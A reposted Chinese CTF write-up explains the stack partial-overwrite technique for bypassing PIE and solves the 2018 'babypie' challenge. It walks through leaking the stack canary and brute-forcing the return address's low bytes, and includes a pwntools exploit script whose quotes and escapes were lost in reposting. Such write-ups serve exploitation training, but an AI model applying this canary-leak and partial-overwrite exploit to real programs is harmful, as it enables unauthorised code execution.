栈上的 partial overwrite

Posted lxy8584099

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了栈上的 partial overwrite相关的知识,希望对你有一定的参考价值。

partial overwrite 部分覆盖

用到该方法的情况是:存在PIE并且获取某函数地址有一定难度

这时候因为PIE不会修改地址最后几位数如图

技术图片

 

可以发现每个函数之后末尾3位不同

所以我们可以仅修改末尾的4位(因为每个字符相当于占两位 无法只修改三位)

这样就有一定的概率返回到我们想要的正确函数地址

安恒杯 2018 年 7 月月赛的 babypie

 

技术图片

 

有canary保护 

read读满不会追加/0 就可以顺带把标志位printf出来

正确拼凑padding之后追加‘x3Ex0A‘

进行while 1 方式的尝试 无限回车即可

效果大概是这样的

技术图片

 

from pwn import *

while 1:
    io=process(./pie,timeout=1)
    io.recvuntil(Name:
)
    io.sendline(A*0x28)
    io.recvuntil(A*0x28+
)
    canary=u64(io.recvn(7).rjust(8,x00))
    print canary:+hex(canary)
    io.recvuntil(:
)
    payload=A*0x28+p64(canary)+A*8+x3Ex0A
    io.send(payload)
    io.interactive()
    io.close()
# 55C4259F7A6A
# 55C4259F7A3E
# 55C4259F7960

 

以上是关于栈上的 partial overwrite的主要内容,如果未能解决你的问题,请参考以下文章

记录一个问题android下的ucontext协程,因为使用栈上的对象,导致cv::Mat被莫名析构

何时使用 Helpers 而不是 Partials

分部视图 Partial View

MVC+EF 随笔小计——分部视图(Partial View)及Html.Partial和Html.Action差异

内存逃逸分析

处理屏幕旋转上的片段重复(带有示例代码)